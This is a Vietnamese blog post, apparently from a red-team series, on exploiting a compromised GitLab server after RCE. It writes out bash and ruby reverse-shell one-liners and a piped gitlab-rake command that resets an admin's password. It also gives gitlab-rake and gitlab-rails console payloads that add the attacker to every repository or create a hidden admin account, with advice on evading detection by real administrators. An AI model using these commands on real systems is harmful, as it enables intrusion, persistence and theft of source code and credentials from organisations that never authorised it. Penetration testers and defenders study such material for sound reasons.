- vừa được xem lúc

Làm gì khi đã chiếm được quyền điều khiển hệ thống? Phần 1 - Source code management

0 0 8

Người đăng: Real Alpha Man

Theo Viblo Asia

Mỗi khi tìm được một lỗ hổng bảo mật, nhiệm vụ của Pentester thường là sẽ report lỗi cho đội Developer để tìm cách fix lỗ hổng đó. Tuy nhiên, với những kẻ tấn công có chủ đích hoặc đội Redteam, việc phát hiện lỗ hổng dù là RCE không có ý nghĩa nếu như nó không mang lại kết quả gì sau đó, như lấy được data quan trọng, đi sâu hơn vào hệ thống, làm bàn đạp để tấn công server ngang hàng, v.v...

Trong series "Làm gì khi đã chiếm được quyền điều khiển hệ thống", mình sẽ trình bày về những cách thức một attacker có thể sử dụng hệ thống đã bị kiểm soát để đạt được mục đích cuối cùng.

Trong phần 1, ta sẽ tìm hiểu về những điều có thể làm khi đã chiếm được server quản lý source code như gitlab, bitbucket, ... gọi chung là Source code management (SCM). Với ví dụ cụ thể mình sẽ trình bày liên quan đến Gitlab - hệ thống self-hosted mã nguồn mở dựa trên hệ thống máy chủ Git dùng để quản lý mã nguồn.

Điều chúng ta thường làm khi đã RCE được hệ thống SCM chính là lấy ra toàn bộ mã nguồn để phục vụ quá trình audit code. Với một trường hợp cụ thể của mình, mình đã RCE được một hệ thống gitlab bằng 2 CVE: CVE-2022-2185CVE-2022-2992. Chi tiết hơn thì các bạn có thể đọc những bài phân tích về 2 CVE này trên mạng, mình xin không đi sâu. Điều mình muốn nói là quá trình sau đó.

Đầu tiên mình sử dụng CVE-2022-2185, CVE này liên quan đến tính năng import group, với kết quả là mỗi lần thực thi lệnh phải chờ nó 5 phút thì nó mới chạy, do vậy mỗi lần muốn thực thi 1 command nào đó, mình phải chờ đợi trong vô vọng rất lâu. Còn CVE-2022-2992 liên quan đến việc import 1 project từ github, việc này cũng gây ra những rủi ro khi mỗi lần chạy thì 1 project mới được tạo trong 1 group, dẫn đến rác trên server, admin hoàn toàn có thể nhận ra rằng đang có người lạm dụng tính năng này và có thể sẽ yêu cầu mình dừng lại - cũng là dừng quá trình redteam (server cài đặt người dùng thường khi xóa sẽ đặt lịch 1 tuần sau mới xóa hẳn thay vì xóa ngay lập tức).

Vì vậy, điều cần ghi nhớ đó là phải thử thật hoàn thiện trên local rồi mới thực hiện nó ở trên server.

Các câu lệnh RCE trên server docker mình tự dựng để thực hiện back connect khá hiệu quả, mình xin list ra một số command:

bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' (do Gitlab build bằng ruby do vậy chắc chắn trên server sẽ có ruby)

Lúc này ta sẽ có một reverse shell để dễ dàng cho quá trình kiểm soát server. Nhưng trên server thật sẽ không có outbound connection nên dù thực hiện RCE cũng chỉ là Blind RCE. Do vậy phải có một cách khác để thực hiện lấy được source code.

Nói qua về các quyền trong Gitlab: Owner là người sở hữu gilab, tương đương admin, có thể quản lý toàn bộ các repo và user khác; Maintainer của 1 repo chỉ có quyền quản lý repo đó; Developer chỉ có quyền thực hiện liên quan đến source code, không được quản lý về repo như xóa, CI/CD, ...; các user thấp hơn thì không cần quan tâm tới.

Một cách khác hiện lên trong đầu mình, đó là cố gắng lấy được một user có quyền admin. Trong gitlab server, để connect với database, ta sẽ sử dụng command gitlab-psql (gitlab chỉ sử dụng Postgresql). Đây là một ví dụ về sử dụng gitlab-psql để select toàn bộ user.

Ý tưởng đến một cách hiển nhiên: Chuyển user của mình từ admin = 'f' thành admin = 't'

UPDATE users SET admin='t' WHERE username='realalphaman'

Việc này hoạt động hiệu quả khi gõ shell trực tiếp, nhưng không hiệu quả khi chạy thông qua CVE. Và mình phát hiện ra khi mình chạy shell (bằng docker exec -it /bin/bash) thì mình đang chạy dưới quyền root, trong khi user dùng để chạy gitlab là git, user này không có quyền chạy gitlab-psql. Mình tự hỏi nếu như thế thì làm thế nào để nó có thể thực hiện truy vấn database?

Hóa ra gitlab sử dụng 2 công cụ là gitlab-rakegitlab-rails như những trình bao để connect vào database. Như vậy ta sẽ có 1 số cách thức sau để thực hiện chiếm quyền Admin:

1. Reset password của admin

Gitlab có một câu lệnh để reset password của một user name cụ thể: gitlab-rake "gitlab:password:reset[<username>]", sau đó shell sẽ yêu cầu ta nhập username và password

Một vấn đề khác phải đối mặt đó là ta thực thi qua CVE, không có một reverse shell, có nghĩa là một yêu cầu nhập thứ 2 sau khi chạy command sẽ không thể thực hiện được. Nên nếu chạy command kia mà không nhập password thì cũng không thực hiện thành công thay đổi pass. Mình tìm được giải pháp để chỉ cần chạy 1 lệnh là sẽ nhập luôn password cho yêu cầu nhập đằng sau:

printf "Password\nPassword\n" | gitlab-rake "gitlab:password:reset[<username>]"

Gitlab có một API cho phép chúng ta xem danh sách các user, tại đường dẫn <url>/api/v4/users

Với điều kiện là ta cần biết username của tài khoản admin, trong đó Gitlab có một user admin mặc định là root ít khi được thay đổi.

Tuy nhiên, với cách này rất có thể sẽ bị lộ nếu như admin đó được đăng nhập bởi admin thật và nhanh chóng nhận ra tài khoản của mình đã bị thay đổi pass.

2. Thêm tài khoản của mình vào toàn bộ repo

Trong gitlab, ta có thể sử dụng gitlab-rake để thêm tài khoản của mình vào toàn bộ repo với quyền Developer.

gitlab-rake gitlab:import:user_to_projects[user@gmail.com]

Theo cách này ta sẽ có thể access vào toàn bộ repo, và cũng khá khó bị lộ do danh sách người được add vào repo sẽ không hiện trực tiếp lên giao diện khi truy cập code, mà thường chỉ bị phát hiện khi Mantainer muốn thêm dev mới vào repo, lúc đó cũng là lúc ta đã clone được toàn bộ source code và rút lui không để lại dấu vết gì.

Nhưng cách này vẫn có một điểm yếu, đó là với vai trò Developer ta không truy cập được các Variables trong phần setup CI/CD, mà thường đây là những thông tin giá trị nhất, cho ta biết username, password, secret key,... của hệ thống đó, giúp dễ dàng hơn trong việc pwn chúng. (Chi tiết về các quyền xin tham khảo tại https://docs.gitlab.com/ee/user/permissions.html ).

3. Tạo ra một tài khoản mới với quyền admin

Có một cách an toàn hơn là tạo ra 1 tài khoản admin sử dụng gitlab-rails. Câu lệnh của gitlab-rails bash là gitlab-rails console

Để tạo một user, ta sử dụng 2 command như sau:

user = User.new(email: 'newadmin@example.com', password: 'password', name: 'New Admin User', username: 'hehe', admin: true, skip_confirmation: true)

user.save!

Lúc này trong danh sách admin đã xuất hiện tài khoản newadmin@example.com

Và như thế, payload cuối cùng sẽ là

printf "user = User.new(email: 'newadmin@example.com', password: 'password', name: 'New Admin User', username: 'hehe', admin: true, skip_confirmation: true)\nuser.save!\n" | gitlab-rails console

Với một email chung chung như admin@domain.com thì rất khó để admin thật có thể nhận ra một tài khoản bất thường, vì cũng không mấy khi admin truy cập vào vùng Admin trên hệ thống để xem.

Trong phần tiếp theo mình sẽ trình bày cách sử dụng một hệ thống đã bị kiểm soát để tấn công các hệ thống internal khác.

Tài liệu tham khảo:

https://docs.gitlab.com/ee/administration/operations/rails_console.html

https://docs.gitlab.com/ee/raketasks/user_management.html

Bình luận

Bài viết tương tự

- vừa được xem lúc

Phân biệt GitHub và GitLab. Nên chọn dịch vụ nào?

Làm thế nào để phân biệt GitHub và GitLab? Ngày nay, quản lý kho là một trong những yếu tố quan trọng của phát triển phần mềm hợp tác. Các tính năng phân phối thành công yêu cầu cần sự kết hợp của các

0 0 34

- vừa được xem lúc

Học được gì từ sự cố xóa nhầm database của GitLab?

Vào đầu năm 2017, GitLab gặp phải một incident rất nghiêm trọng. Trong quá trình khắc phục vấn đề liên quan đến replication của PostgreSQL, một kỹ sư (tạm gọi là kỹ sư A) đã vô tình rm -rf nhầm hơn 30

1 0 84

- vừa được xem lúc

Cài đặt GitLab Server trên Centos 7

Cài đặt GitLab Server trên CentOs 7. Xin chào mọi người, nhân 1 ngày đẹp trời mình đi onsite, khách hàng yêu cầu mình dựng GitLab trên server của họ nên nhân tiện mình viết 1 bài để hướng dẫn mọi ngườ

0 0 63

- vừa được xem lúc

Setup debug Gitlab, tưởng không khó mà cũng không khó lắm

Chuyện là gần đây Gitlab có bản Security Release mới, trong đó có một lỗi Arbitrary file read via group import feature khá là thú vị, ảnh hưởng đến tất cả các phiên bản GitLab CE/EE có đầu là 14.5 trở

0 0 28

- vừa được xem lúc

[K8S] Phần 15 - Triển khai ứng dụng NodeJS lên K8S

Giới thiệu. Trong các phần trước mình đã giới thiệu về cách dựng một hệ thống Kubernetes Cluster với khá đầy đủ các thành phần cần thiết như:.

0 0 29

- vừa được xem lúc

So sánh 1 số Git provider khác nhau

Lời nói đầu. Việc phát triển hiện đại sẽ không thể thiếu 1 công cụ quản lý version của source code như Git.

0 0 21